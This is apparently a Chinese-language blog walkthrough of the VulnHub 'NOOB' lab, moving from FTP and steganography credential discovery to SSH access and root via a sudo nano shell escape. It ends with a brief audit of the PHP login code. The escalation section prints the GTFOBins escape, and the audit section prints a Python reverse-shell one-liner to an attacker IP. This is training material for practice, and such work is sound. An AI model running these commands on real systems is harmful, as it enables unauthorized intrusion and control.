大余每日一攻防NOOB-1(九)
2023-12-9 13:57:59 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1702101274_6574011a79ce4e257d8ad.png!small?1702101276664
发现IP地址:192.168.253.129
1702101278_6574011e2533261880977.png!small?1702101279842
开启了21、80、55077等端口。

二、FTP信息枚举

先查看一下ftp端口:
1702101282_657401227cd9d640225a6.png!small?1702101284088
发现存在:cred.txt和welcome文件
1702101286_65740126e508bc66adece.png!small?1702101288043
base64解密:
1702101291_6574012baa59a7fd73b6c.png!small?1702101292216

champ
password

获得账号密码!

三、web信息枚举

访问:http://192.168.253.129/
1702101296_65740130668821b776d45.png!small?1702101297337

是个登录界面,使用密码登录:
1702101302_6574013695d6411f75e5d.png!small?1702101304693

点击About Us会下载一个文件:
1702101307_6574013bdfb3d0477b79b.png!small?1702101308504

四、Steghide隐写分析

发现是两个图片和一个文件,文件中说文件名很有趣,看一下图片:
1702101313_657401415ff2a1f3d7fc6.png!small?1702101315855

Steghide是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且你不会注意到图片或音频文件发生了任何的改变。 而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。我们来分析下:
1702101318_657401469e32a55467030.png!small?1702101320720
后缀为bmp的文件需要密码,但jpg文件不需要,我们先把jpg文件的隐藏信息提取出来:

steghide extract -sf funny.jpg

1702101331_65740153b235e29d7b233.png!small?1702101332849
提示我们需要旋转?另外一个文件我用密码sudo解密成功:
1702101335_65740157c8bea30042214.png!small?1702101336677
是一串乱码,刚刚提示我们把它旋转一下,猜测是rot13加密:

1702101339_6574015befa1e8ff2c475.png!small?1702101340585

wtf
this one is a simple one

ssh [email protected] -p 55077

五、内部信息枚举

成功登录:
1702101345_65740161942fff41aae72.png!small?1702101347436
信息枚举linpeas发现:
1702101350_657401665dd7d1a4a23e2.png!small?1702101351497

1702101356_6574016c42c18acaf83e1.png!small?1702101357916

su n00b
aw3s0m3p@$$w0rd

1702101367_6574017758fe69358d280.png!small?1702101367889

六、提权

发现可以用nano编辑器,nano编辑器允许二进制文件以超级用户身份运行sudo,它不会放弃提升的权限,并可用于访问文件系统、升级或维护特权访问。

https://gtfobins.github.io/gtfobins/nano/#sudo

1702101371_6574017be86422c01629f.png!small?1702101372715

sudo nano
ctrl+r ,Ctrl+x
输入:reset; sh 1>&0 2>&0

1702101375_6574017fe698e3e599792.png!small?17021013763631702101380_65740184b9c7821b7e135.png!small?1702101381303
成功获得root权限!!

七、代码审计

反弹一个稳定的shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.138",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

发现存在源代码不多:
1702101389_6574018dbf5be4de772c3.png!small?17021013905531702101395_657401939b76ab1f768af.png!small?1702101396759


源代码分析index.php主页面调用rar文件下载,而在go.php主页面登录口通过:

$username = $password = "";
$backend_username = "champ";
$backend_password = "password";

存在明文密码存储校验问题,应该使用哈希函数对密码进行哈希存储。

其余问题,错误信息被直接输出到页面上,这可能暴露敏感信息给潜在的攻击者。建议在生产环境中将错误信息记录到日志而不是直接输出,缺少防止暴力破解、CSRF(跨站请求伪造)等攻击的措施。这可能需要进一步的安全性加固,例如使用验证码、实施账户锁定机制等会话管理可能需要进一步改进,包括在登录成功后生成会话令牌、设置适当的会话过期时间等。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!

扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052


文章来源: https://www.freebuf.com/vuls/386166.html
如有侵权请联系:admin#unsafe.sh